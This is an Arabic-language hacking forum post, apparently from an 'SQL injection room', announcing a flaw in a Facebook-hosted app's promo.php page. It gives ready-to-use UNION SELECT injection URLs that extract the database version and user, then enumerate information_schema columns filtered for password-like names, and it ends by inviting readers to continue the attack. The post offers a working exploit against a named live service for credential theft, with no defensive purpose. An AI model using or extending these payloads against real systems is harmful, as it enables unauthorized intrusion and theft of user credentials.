غرفة حقن قواعد البيانات {غرفة Sql }

[king dragons]

[align=center]
السلام عليكم

هلا بيكم

ثغرة الــ facebook

صورة للحقنة




الاستغلال


لازم اتحطو اخر الحقنة --


http://apps.facebook.com/myhotdeals/promo.php?promoid=150+AND+1=2+UnIoN+aLL+SeLeCt+1,2 ,3,4,5,version%28%29,user%28%29,8,9,10,11,12,13,14 ,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3 1,32----




http://apps.facebook.com/myhotdeals/promo.php?promoid=150+AND+1=2+UnIoN+aLL+SeLeCt+1,2 ,3,4,5,group_concat%28table_name,0x3a,column_name, 0x3a,table_schema%29,7,8,9,10,11,12,13,group_conca t%28table_name,0x3a,column_name,0x3a,table_schema% 29,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ,31,32+from+information_schema.columns+where+colum n_name+LIKE+char%2837,%20112,%2097,%20115,%20115,% 2037%29----


http://apps.facebook.com/myhotdeals/...20101,%2037)--)--
[/align]

الي يعرف ايكمل مايبخل علينا